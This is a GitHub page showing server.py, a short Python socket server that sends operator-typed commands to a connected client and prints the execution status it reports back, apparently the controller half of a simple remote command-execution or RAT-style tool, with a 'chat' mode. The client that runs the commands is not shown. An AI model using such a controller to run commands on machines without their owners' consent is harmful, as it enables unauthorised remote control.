-
Notifications
You must be signed in to change notification settings - Fork 5
/
server.py
43 lines (28 loc) · 1.02 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import socket
HOST = '192.168.43.78' # terminal: ip (linux)
PORT = 9090
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen()
print(f'Server is waiting connection with client')
client, address = server.accept()
print(f'Connected to {address}')
mode = 'default'
while True:
if mode == 'default':
command_input = input("Enter a command: ")
elif mode == 'chat':
command_input = input('Send in client terminal: ')
client.send(command_input.encode('utf-8'))
package = client.recv(1024).decode('utf-8').split('#')
executed_command = package[0]
client_mode = package[1]
mode = client_mode
print(f'mode: {client_mode}')
if mode == 'default':
print(f'the command {executed_command} was executed successfully.')
elif mode == 'chat' and not executed_command == 'chat off':
print(f'message sent to client terminal')
if len(package) == 3:
message = package[2]
print(f'[info] {message}')